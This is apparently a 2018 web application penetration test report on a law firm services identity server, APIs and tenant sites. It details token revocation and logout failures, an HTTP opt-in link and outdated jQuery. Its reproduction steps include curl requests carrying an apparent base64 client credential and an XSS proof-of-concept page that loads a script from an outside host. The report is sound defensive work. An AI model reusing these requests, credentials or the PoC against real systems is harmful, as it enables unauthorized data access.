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What this report contains 

Executive Summary 

This section provides a non-technical overview of the scope of the project, the key findings from the 
testing work carried out and highlights the areas we see as most important or urgent in needing 
attention to improve the security of the system under test. 

Target Information 

This lists what was tested and the type of testing carried out. 

Methodology 

This is a short, technical description, of physical way that the testing was undertaken. 

Issue Summary 

This is a high level, technical, summary of each issue found. It’s common for this section to contain 
multiple examples of the same type of issue as we list every instance of an issue we find so that there is 
a clear list of everything that needs to be fixed – i.e. If we find a form that is insecure it’s possible that 
each individual field within the form has the same type of issue and so if the form has five fields; First 
name, Last name, Email address, Company name and comments these would be listed as 5 issues as 
each field needs attention. 

Vulnerability by Severity 

This is a visual representation of the different levels of issues found to provide a quick overview of the 
number of each type individually and in relation to the application as a whole. 

Details of Individual Issues 

This is a detailed list of each issue found containing, where possible: 

• Affected assets – what in the system has the issues 

• Severity – on a 5-point scale from ‘Critical’ to ‘For information only’ 

• OWASP / CWE mapping – how the issue relates to security testing methodologies or databases 

• Technical description – a detailed technical explanation of the issue 

• Steps to reproduce – how to verify the issue exists and to check that it has been fixed 

• Business impact – a non-technical description of the potential impact of the issue 

• Solution and/or mitigation – what’s required to fix the issue 

• External technical reference links – additional information in the public domain to provide more 
insight into the type of issue, other ways to fix it etc. 

As with the issue summary, every instance of an issue is listed individually to provide a detailed, step-by- 
step guide for all fixes required. 
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Executive Summary 

Appsecco was contracted by Law Firm Services to conduct Web Application Security Testing to 
determine if there were security weaknesses in the LFS Gateway application, the implementation of the 
Identity Server, the backend LFS API server and the tenant applications that can render the environment 
insecure and allow an attacker to gain access to any data that is accessible via them or gain access to the 
underlying operating system. 

The testing was carried out between 7th May to 11th May 2018 on the testing setup of the LFS Identiy 
Server, LFS Gateway and the associated API servers and web applications 

The OWASP Top-10 2013 and CWE was used as the reference frameworks to evaluate and categorise 
the discovered security issues. 

Approach 

Our testing approach entailed using a demo implementation of the environment with two tenants 
created on the server and activated by following an email containing an Opt-In link. The application 
environment uses API endpoints to authorize, retrieve and update data while a standard Angular based 
web application is used to update the UI retrieved by backend JS requests. 

Once the setup was completed and access obtained, the following testing approach was used along with 
the standard approach to testing for the OWASP Top 10 2013 and API testing: 

1. The opt-in link was analyzed to check if it can be re-used, tampered with to activate other users, 
access a different account and to check if it uses non-standard communication channels 

2. The application was tested for cross tenant access using tampered tokens, tampered host headers 
and tampering of various GET and POST parameters 

3. As the environment uses an Identity Server for the authentication and authorization, an attempt 
was made to check for token expiration and revocation and usage after the token is supposedly 
not valid 

4. The access tokens and other JWT tokens were subjected to a manual revocation to check if the 
token continued to provide access 

5. The application’s logout functionality was tested for both the cookie session being destroyed and 
for the tokens to be revoked 

6. The forgot password was checked and an attempt was made to tamper and change the password 
of a different tenant 

7. Various parameters were tested for injection attacks in an attempt to invoke errors or cause user 
supplied data to mix with a backend query 

8. An attempt was made to perform authorization bypass by reusing expired tokens, removing tokens 
completely, tampering tokens using tokens belonging to different account 

9. The application was also subjected to various input that could be used to potentially leak 
information to the client. 

10. The JavaScript was reviewed in an attempt to discover secrets, tokens, keys and hardcoded 
variables that may cause information to be disclosed to the client 

11. The JWT tokens were decoded, an offline brute force was attempted to verify if weak passwords 
are used to obtain a verifiable signature so that tampered tokens could be sent to the server. 
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12. An attempt was made to discover possible hidden API endpoints that are not part of the 
documentation that was shared 

13. The provided documentation was used as a reference to provide various test input to the API 
endpoints and create Activities, scope and tokens that were tampered interchangeably to detect 
authorization issues, token reuse, weak scopes and access. 

Summary of Results 

The environment was tested extensively for any authentication and authorization weaknesses that could 
allow an attacker to access data across tenant boundaries or gain access to a user’s account by any 
other vulnerabilities prevalent in the applications in scope. 

The testing showed that the environment is vulnerable to weaknesses that could allow a potential 
attacker to perform Man-in-the-Middle attacks or reuse access tokens that survive a revocation 
attempt. This could allow an attacker access to the data that the applications work with and may result 
in lowered trust with the environment. 

No Critical vulnerabilities were identified. The following is a quick summary of the issues discovered 
during the assessment: 

• The URL, that would allow a user to opt-in to an Activity or setup their account at the very 
beginning of the user lifecycle, makes requests over HTTP instead of a secure HTTPS channel 

• The access tokens are not revoked even after an explicit request is made to the Identity Server’s 
revocation endpoint 

• The application’s logout functionality is not completely implemented as the access tokens are 
not expired or revoked on the server while only the cookies are unset allowing a user to access 
data via the API endpoints instead of the application even after a successful logout 

• A JavaScript library used in the environment is of an older version that has been shown to be 
vulnerable to a Cross Site Scripting attack. Given the complexity of the exploit and the 
conditions under which this becomes dangerous, this issue has been rated low. 

Conclusion 

The application’s environment was found to withstand injection and parameter modification attacks. 
The backend is built with authentication and authorisation in mind that prevented any cross tenant data 
access to become possible. This was tested by manipulating the tokens, cookies as well as the host 
headers that the API’s use to send data back. The application exhibits sturdy access control and allows 
only valid and authorised users to perform actions. 

However, the application design does not properly take care of session expiration issues which allows a 
user to continue having access to the API backend using requests outside the web application where the 
user is logged out. Also, the revocation endpoint which according the documentation for Identity Server 
should be utilised to retire a token is not used. This allows an attacker to access restricted content even 
after a forced revoke is invoked. Finally, the application executes the Opt-In functionality with a link that 
exchanges data using an insecure communication protocol. 

The discovered issues have created an environment that is potentially vulnerable to attacks that could 
lead to a loss in data and unauthorised access to sensitive information. These issues need to be fixed to 
give assurance to the users of this environment. 
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Web Application Security Assessment 

Target Information 

The purpose of this Web Application Vulnerability Assessment was to discover weaknesses, identify 
threats, vulnerabilities and security issues in web applications within scope. 

The scope included following hosts and types of testing: 

Application Domain Platform Technology Type of Testing 

Tenant 1 Web 
Application 

https://tenant1.hemmings-
walker.co.uk 

Windows/Azure Static/Microsoft-
IIS/8.0 

Web Application 
Security 
Assessment 

Tenant 2 Web 
Application 

https://tenant2.hemmings-
walker.co.uk 

Windows/Azure Static/Microsoft-
IIS/8.0 

Web Application 
Security 
Assessment 

Opt-In Line 
Server 

http://em1.hemmings-
walker.co.uk 

N/A nginx Web Application 
Security 
Assessment 

Identity 
Server/STS 

https://account-
ten1.hemmings-walker.co.uk 

Windows/Azure ASP.NET 
Core/Kestrel 

Web Application 
Security 
Assessment 

Identity 
Server/STS 

https://account-
ten2.hemmings-walker.co.uk 

Windows/Azure ASP.NET 
Core/Kestrel 

Web Application 
Security 
Assessment 

API Server https://api-
demo.lawfirmservices.co.uk 

Windows/Azure ASP.NET 
Core/Kestrel 

Web Application 
Security 
Assessment 

Discovery API 
Server 

https://discovery-
demo.lawfirmservices.co.uk 

Windows/Azure ASP.NET 
Core/Kestrel 

Web Application 
Security 
Assessment 

API Server https://tenants-
demo.lawfirmservices.co.uk 

Windows/Azure ASP.NET 
Core/Kestrel 

Web Application 
Security 
Assessment 
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Methodology 

Testing Setup 

We setup an attacker machine in the UK so that our attack traffic was closer to the target. The attack 
traffic originated from the UK IP - 46.101.57.150. 

This IP was provided to Law Firm Services before we began testing. The chain of traffic to the target was 
as below: 

 

Browser > Burp Suite Pro > Secure SOCKS Tunnel > 46.101.57.150 > API/Web App 
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Issue Summary 

1. The User Opt-In link sent over email is requested over HTTP 

The User Opt-In URL shared via email is requested over HTTP allowing eavesdropping and modification 
possible in transit. 

2. Access token generated via /connect/authorize fails revocation via 
/connect/revocation on the Identity Server 

The access token generated via the /connect/authorize endpoint is not revoked when attempted to 
using the revocation endpoint at /connect/revocation on the Identity Server. 

3. Access token generated via /connect/token fails revocation via /connect/revocation on 
the Identity Server 

The access token generated via the /connect/token endpoint is not revoked when attempted to 
using the revocation endpoint at /connect/revocation on the Identity Server. 

4. It is possible to access protected content using the API endpoints even after a request 
to /account/logout is made 

The application allows a user to access protected content using a token even after the 
/connect/endsession and /account/logout functionalities are invoked. The access_token is 
not revoked when a logout request is processed by the server. 

5. An older and vulnerable version of the JavaScript library jQuery is being used in the 
Identity Servers 

The jQuery library being used in the application is outdated and it is vulnerable to Cross Site 
Scripting(XSS) attack. 
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Vulnerability Distribution by Severity 

 

Summary of Issues by Severity 
Severity Count 

Critical 0 

High 1 

Medium 3 

Low 1 
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1. The User Opt-In link sent over email is requested over HTTP 

Affected Assets 
• http://em1.hemmings-walker.co.uk 

Severity 

High 

OWASP / CWE Mapping 

[ OWASP-2013-A5 ] Sensitive Data Exposure 

Technical Description 

When a new tenant is setup or when an Activity is created, the system generates a ‘Opt-In’ link that is 
sent from the noreply@hemmings-walker.co.uk email address. This link allows the recipient to 
setup their account or access the Activity that is created without authenticating (the t token in the final 
Activity URL provides access). 

The vulnerability arises due to the link being served over an insecure protocol. The user opt-in link sent 
via email is over HTTP. An example of the URL is shown below. 

Steps To Reproduce 
1. View the link sent from noreply@hemmings-walker.co.uk and notice that the protocol used is 

HTTP instead of the alternate secure HTTPS that provides protection against eavesdropping at the 
transport layer itself. 

2. A tool like wireshark on the network would easily be able to capture this URL and possibly hijack 
the account before signup is completed or view data that is being passed to the server. 

http://em1.hemmings-walker.co.uk/wf/click?upn=ZsJQJU1lp2hN6K3ZAACBN2XHVA2NSNB
Bpy2dFF6hjjkw6sr-2FL7V5u3CtduPQQHmK886NL0DRuVjM0CnqPyg1DAgBRGyI62vzmJcwlVIQxq
f47FaOUvDVgYhbHMhbitkjHbVHjTvkLXYyRUMfNgs1xko-2FAzvV91LO0w07XnSVe9BkB-2Bz22U8
GfQwHZ3ydHk6n1buRBKUtAofLCx7tf-2Bg9HeJkBCAAHknzXeQEMA7oVIfeHJpMuQxRtwWVEJTX2z
VP3OWMlBJWb9HP41yavVdCrsS5AhUfnLXE9cvNhqzRJZM-3D_l21kjwakhGOt640c8xLJlWrPjJf1
dSoBF4UoxpO68XZaoPNvgSqHGglMEpeV0EHuyWnE-2B2VWzyHcXWBVORwxDUXlB8lZJp2F5Iu-2Bk
9wKJvO-2FPm1IlE3rxLqkxqHNj4L9z2iv27h-2BsczdPuqDtFDpTBcTALgSk-2BFgQEatStK-2FzS
dfTU-2B0gNaluT80JAhLjmgTmNF1TjsfHfaukKjpIoVOIw-3D-3D 
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Screenshots 

 

Business Impact - So What? 

An application that potentially exposes data or is used to manage data stores must be accessed over 
encrypted channels. In this case the Opt-In URL which can be used to setup the account for a tenant or 
allow the user to access the Privacy Settings page directly, is accessed over a plain HTTP channel. This 
would allow an attacker to sniff traffic and capture tokens that can be used by an attacker to access the 
application without authorization possibly gaining access to data and locking out the legitimate user. 
Also, as the application is accessible over the Internet, this becomes an even more threatening issue as 
the attacker could be sitting anywhere in the path between the user and the application server. 

Solution 

Implement SSL/TLS to access the application in its entirety. This will prevent attackers from sniffing and 
reusing data. 

References 
• https://letsencrypt.org/ 

• http://www.howto-expert.com/how-to-get-https-setting-up-ssl-on-your-website/ 
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2. Access token generated via /connect/authorize fails revocation via 
/connect/revocation on the Identity Server 

Affected Assets 
• https://account-ten2.hemmings-walker.co.uk 

• https://account-ten1.hemmings-walker.co.uk 

• https://api-demo.lawfirmservices.co.uk 

Severity 

Medium 

OWASP / CWE Mapping 

[ OWASP-2013-A2 ] Broken Authentication and Session Management 

Technical Description 

The Identity Server, by design, allows for the programmatic generation of tokens or authorization codes 
via the /connect/authorize endpoint for browsers and similar user-agents. In this implementation, 
the id_token and access_token is generated when an authenticated GET request is made to 
/connect/authorize with the client_id, redirect_uri, response_type containing the type 
of tokens being fetched (in this case identity and access token), scope (containing the registered scopes 
step.mine, form.fetch,me.read, openid, profile and email) and a nonce value which can be 
any arbitrary string. 

The server returns a 302 redirect to the tenant application along with the tokens. Any other redirect 
requests generate an error. These tokens are used to authenticate and authorize to perform various 
functions like retrieving userinfo from the account-ten1.hemmings-walker.co.uk and form 
metadata etc. from the api-demo.lawfirmservices.co.uk API server 

The issue arises when an attempt is made to revoke the access_token using the standard 
/connect/revocation endpoint on the Identity Server. A request made to this endpoint does not 
revoke the token and it can be used post a revocation attempt has been made, for example to access 
the /connect/userinfo to retrieve user email address and the tenant_id using the 
https://account-ten1.hemmings-walker.co.uk/connect/userinfo endpoint or to access 
additional user information via https://api-demo.lawfirmservices.co.uk/api/v1/Me/ 

Steps To Reproduce 

Use an interception proxy like Fiddler or Burp Suite to capture the requests and responses between the 
server and the client. 

1. Login into the tenant Identity Server. We used the server at https://account-
ten1.hemmings-walker.co.uk/account/login. 

2. Access the associated web application. We used https://tenant1.hemmings-walker.co.uk 

3. Extract the access_token from the response to https://account-ten1.hemmings-
walker.co.uk/connect/authorize. 
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4. Let the Activity load and the page display the form. 

5. Revoke the access_token using the /connect/revocation endpoint. Replace the token 
placeholder with the actual value before issuing this request. 

 

curl -H "Host: account-ten1.hemmings-walker.co.uk" -H "Authorization: 
Basic 
OWYwZDY3NTUtYzQzZC00NWRkLTk5NDctZTA0OTk4NTYyNTZlOjJhNDY0YzgxLTVhOGItNGE1Y
y04NTg3LWM1ZjUzM2ExYzlmYQ==" -d "token=TOKEN-HERE" https://api-
demo.lawfirmservices.co.uk/connect/revocation 

 

6. Reload the Activity page from Step 4 and notice that the page loads with the correct data showing 
that the revocation in Step 5 failed. 

Business Impact - So What? 

An attacker may be able to access sensitive endpoints after an application designed to use these APIs in 
the backend shows that the session or token has been revoked providing false assurance to the user. An 
attacker may simply re-use tokens generated earlier and past the revocation step and gain unauthorized 
access to data . 

Solution 

Verify if the value of EnableTokenRevocationEndpoint is set to true if already present in the auth 
server’s setup. If this endpoint is not described in the setup then this can be added under the 
EndpointOptions section. 

Recommendation 

A web application/service should invalidate a session after a predefined idle time has passed or when a 
revocation is requested for tokens while providing the user the means to invalidate their own session, 
i.e. logout; this helps to keep the lifespan of a session ID as short as possible and is necessary in a shared 
computing environment where more than one person has unrestricted physical access to a computer. 

References 
• https://www.owasp.org/index.php/Top_10_2013-A2-

Broken_Authentication_and_Session_Management 

• http://projects.webappsec.org/w/page/13246944/Insufficient%20Session%20Expiration 

• http://docs.identityserver.io/en/release/endpoints/authorize.html 

• http://docs.identityserver.io/en/release/endpoints/revocation.html 
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3. Access token generated via /connect/token fails revocation via 
/connect/revocation on the Identity Server 

Affected Assets 
• https://account-ten2.hemmings-walker.co.uk 

• https://account-ten1.hemmings-walker.co.uk 

• https://api-demo.lawfirmservices.co.uk 

Severity 

Medium 

OWASP / CWE Mapping 

[ OWASP-2013-A2 ] Broken Authentication and Session Management 

Technical Description 

The Identity Server, by design, allows for the programmatic generation of tokens via the 
/connect/token endpoint. In this implementation, these tokens are generated with a custom 
grant_type of clientcode_with_user. These tokens are used to authenticate and authorize to 
perform various functions like retrieving/adding Activities, retrieving/adding new Contacts etc. on the 
api-demo.lawfirmservices.co.uk API server. 

The issue arises when an attempt is made to revoke a token using the standard 
/connect/revocation endpoint on the Identity Server. A request made to this endpoint does not 
revoke the token and it can be used post a revocation attempt has been made, for example to list 
Activities using the https://api-demo.lawfirmservices.co.uk/api/v1/Activities/ 
endpoint. 

Steps To Reproduce 
1. Generate a token using the following curl request 

 

curl -H "Host: account-ten1.hemmings-walker.co.uk" -H "Authorization: Basic 
OWYwZDY3NTUtYzQzZC00NWRkLTk5NDctZTA0OTk4NTYyNTZlOjJhNDY0YzgxLTVhOGItNGE1Yy04N
Tg3LWM1ZjUzM2ExYzlmYQ==" -d 
"grant_type=clientcode_with_user&scope=contact.reader+contact.creator+activit
y.creator+activity.reader+form.list+step.reader+step.updater&user=Tenant" 
https://api-demo.lawfirmservices.co.uk/connect/token 

 

2. Use the token to access the Activities endpoint to verify its validity using the following curl request. 
Replace the Bearer token before issuing this request. 

 

curl -H "Host: api-demo.lawfirmservices.co.uk" -H "Authorization: Bearer 
TOKEN-HERE" https://api-demo.lawfirmservices.co.uk/api/v1/Activities/ 
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3. Revoke the token using the /connect/revocation endpoint. Replace the token placeholder 
with the actual value before issuing this request. 

 

curl -H "Host: account-ten1.hemmings-walker.co.uk" -H "Authorization: Basic 
OWYwZDY3NTUtYzQzZC00NWRkLTk5NDctZTA0OTk4NTYyNTZlOjJhNDY0YzgxLTVhOGItNGE1Yy04N
Tg3LWM1ZjUzM2ExYzlmYQ==" -d "token=TOKEN-HERE" https://api-
demo.lawfirmservices.co.uk/connect/revocation 

 

4. Re-issue the request to the Activities endpoint from Step 2 and notice that the server responds 
with data showing that the revocation in Step 3 failed. 

Business Impact - So What? 

An attacker may be able to access sensitive endpoints after an application designed to use these APIs in 
the backend shows that the session or token has been revoked providing false assurance to the user. An 
attacker may simply re-use tokens generated earlier and past the revocation step and gain unauthorized 
access to data . 

Solution 

Verify if the value of EnableTokenRevocationEndpoint is set to true if already present in the auth 
server’s setup. If this endpoint is not described in the setup then this can be added under the 
EndpointOptions section. 

Recommendation 

A web application/service should invalidate a session after a predefined idle time has passed or when a 
revocation is requested for tokens while providing the user the means to invalidate their own session, 
i.e. logout; this helps to keep the lifespan of a session ID as short as possible and is necessary in a shared 
computing environment where more than one person has unrestricted physical access to a computer. 

References 
• https://www.owasp.org/index.php/Top_10_2013-A2-

Broken_Authentication_and_Session_Management 

• http://projects.webappsec.org/w/page/13246944/Insufficient%20Session%20Expiration 

• http://docs.identityserver.io/en/release/endpoints/token.html 

• http://docs.identityserver.io/en/release/endpoints/revocation.html 
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4. It is possible to access protected content using the API endpoints even 
after a request to /account/logout is made 

Affected Assets 
• https://account-ten2.hemmings-walker.co.uk 

• https://account-ten1.hemmings-walker.co.uk 

• https://api-demo.lawfirmservices.co.uk 

Severity 

Medium 

OWASP / CWE Mapping 

[ OWASP-2013-A2 ] Broken Authentication and Session Management 

Technical Description 

A POST request made to /account/logout clears all set cookies including the session cookie 
.AspNetCore.Identity.Application. An iframe in the response to this request causes a HTTP 
request to be generated to the https://account-ten1.hemmings-
walker.co.uk/connect/endsession/callback endpoint with the value of the session ID passed 
to the endSessionId parameter that needs to be terminated. This completes the logout cycle. 

However, it is still possible to access multiple endpoints with the access_token that was generated 
using the /connect/authorize endpoint. An example of this would be a request to 
https://account-ten1.hemmings-walker.co.uk/connect/userinfo with the same bearer 
token that should have been discarded allows for the retrieval of user information. 

Steps To Reproduce 

Use an interception proxy like Fiddler or Burp Suite to capture the requests and responses between the 
server and the client. 

1. Login into the tenant Identity Server. We used the server at https://account-
ten1.hemmings-walker.co.uk/account/login. 

2. Access the associated web application. We used https://tenant1.hemmings-walker.co.uk. 

3. Extract the access_token from the response to https://account-ten1.hemmings-
walker.co.uk/connect/authorize. 

4. Let the Activity load and the page display the form. 

5. Logout by going to https://account-ten1.hemmings-walker.co.uk/account/logout. 
Complete the logout process by clicking the ‘Yes’ button when presented with. 

6. Replay a request to https://account-ten1.hemmings-
walker.co.uk/connect/userinfo with the Authorization bearer header and the value 
of the access_token collected in Step 3. 

7. The server responds with user information showing that the logout functionality does not 
invalidate the token on the server but only clears client side cookies. This allows a user to access 
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data and functions via API calls using the still valid token instead of relying on the UI of the 
application. 

Business Impact - So What? 

An attacker may be able to access sensitive endpoints using a valid token after a user performs a logout. 
These tokens would allow accessing potentially sensitive data from API endpoints without requiring the 
web UI. 

Solution 

Invalidate the token on the server alongwith the clearing of the cookies on the client after a Logout 
request is received. 

Recommendation 

A web application should invalidate a session after a predefined idle time has passed and provide the 
user the means to invalidate their own session, i.e. logout; this helps to keep the lifespan of a session ID 
as short as possible and is necessary in a shared computing environment where more than one person 
has unrestricted physical access to a computer. The logout function should be prominently visible to the 
user, explicitly invalidate a user’s session and disallow reuse of the session token. 

References 
• https://www.owasp.org/index.php/Top_10_2013-A2-

Broken_Authentication_and_Session_Management 

• http://projects.webappsec.org/w/page/13246944/Insufficient%20Session%20Expiration 

• http://docs.identityserver.io/en/release/endpoints/endsession.html 

• http://docs.identityserver.io/en/release/endpoints/revocation.html 
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5. An older and vulnerable version of the JavaScript library jQuery is 
being used in the Identity Servers 

Affected Assets 
• https://account-ten2.hemmings-walker.co.uk 

• https://account-ten1.hemmings-walker.co.uk 

Severity 

Low 

OWASP / CWE Mapping 

[ OWASP-2013-A9 ] Using Components with Known Vulnerability 

Technical Description 

The identity servers use a jQuery library from a third party server - 
https://ajax.aspnetcdn.com/ajax/jquery/jquery-2.2.0.min.js. If this fails to load, a 
locally hosted JS file is used. This file is located at https://account-ten2.hemmings-
walker.co.uk/lib/jquery/dist/jquery.min.js. 

The version of jQuery used through both these locations is older and vulnerable to a Cross Site Scripting 
(XSS) attack. An attacker can send a page containing JS with the content type sent to 
text/javascript and obtain client side execution in the context of the Identity Servers. 

Due to the relative difficulty of exploitation and dependence on the application’s consumption of the 
vulnerable $get function, this vulnerability has been rated low. 

The version of jQuery being used is 2.2.0. This issue was fixed in version 3.0.0 

Steps To Reproduce 
1. Navigate to https://ajax.aspnetcdn.com/ajax/jquery/jquery-2.2.0.min.js or the 

local JS file at https://account-ten2.hemmings-
walker.co.uk/lib/jquery/dist/jquery.min.js 

2. The version number of these files is at 2.2.0 

A Proof of Concept can also be created using the following HTML which uses the JS library from one of 
the Identity Servers - https://account-ten2.hemmings-
walker.co.uk/lib/jquery/dist/jquery.min.js and uses the $get function to load a page that 
sends two JS alert functions with a text/javascript content type and a relaxed Access-
Control-Allow-Origin policy to allow cross domain calls. 

Save the following HTML to a file and load it in the browser. You can replace the script src with 
https://ajax.aspnetcdn.com/ajax/jquery/jquery-3.0.0.min.js and refresh the page to 
see that the issue is indeed fixed in version 3.0.0 of the jQuery library. 
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<!DOCTYPE html> 
    <html xmlns="http://www.w3.org/1999/xhtml"> 
    <head> 
            <title>XSS via $get for 3rd Party text/javascript 
responses</title> 
            <script src="https://account-ten2.hemmings-
walker.co.uk/lib/jquery/dist/jquery.min.js"></script> 
            <script> 
                    $.get('https://x41.co/jqueryxss.php'); 
            </script> 
    </head> 
    <body> 
            <h2>XSS via $get for 3rd Party text/javascript responses</h2> 
            <b>Reference:</b> https://github.com/jquery/jquery/issues/2432 
    </body> 
    </html> 

Screenshots 

 

Business Impact - So What? 

Systems running software with older versions may become vulnerable due to weakness in the running 
software. An attacker may use publicly disclosed vulnerabilities to gain access to the application data or 
user information resulting in a possible compromise of the application or the server running the 
application. 

In this particular case, the library is vulnerable to a XSS attack. Under certain circumstances, the XSS may 
be triggered due to malicious user input resulting in the user’s session being hijacked as a direct impact 
of the XSS vulnerability. 

Solution 

Update to the fixed version of jQuery via the vendor site: https://jquery.com/download/. The fixed 
version is 3.0.0. You can also point the script source to the fixed version on the CDN at 
https://ajax.aspnetcdn.com/ajax/jquery/jquery-3.0.0.min.js 
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Recommendation 

Ensure all framework components and 3rd party libraries on which the application is dependent is 
periodically updated or patched. This will ensure that the application as a whole is not affected by 
security vulnerabilities that may be found in external libraries. 

References 
• https://www.owasp.org/index.php/Top_10_2013-A9-

Using_Components_with_Known_Vulnerabilities 

• https://support.portswigger.net/customer/portal/articles/1965732-using-burp-to-test-for-
components-with-known-vulnerabilities 

• https://github.com/jquery/jquery/issues/2432 

• https://cve.mitre.org/cgi-bin/cvename.cgi?name=2015-9251 
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Conclusion 

The application’s environment was found to withstand injection and parameter modification attacks. 
The backend is built with authentication and authorisation in mind that prevented any cross tenant data 
access to become possible. This was tested by manipulating the tokens, cookies as well as the host 
headers that the API’s use to send data back. The application exhibits sturdy access control and allows 
only valid and authorised users to perform actions. 

However, the application design does not properly take care of session expiration issues which allows a 
user to continue having access to the API backend using requests outside the web application where the 
user is logged out. Also, the revocation endpoint which according the documentation for Identity Server 
should be utilised to retire a token is not used. This allows an attacker to access restricted content even 
after a forced revoke is invoked. Finally, the application executes the Opt-In functionality with a link that 
exchanges data using an insecure communication protocol. 

The discovered issues have created an environment that is potentially vulnerable to attacks that could 
lead to a loss in data and unauthorised access to sensitive information. These issues need to be fixed to 
give assurance to the users of this environment. 

 


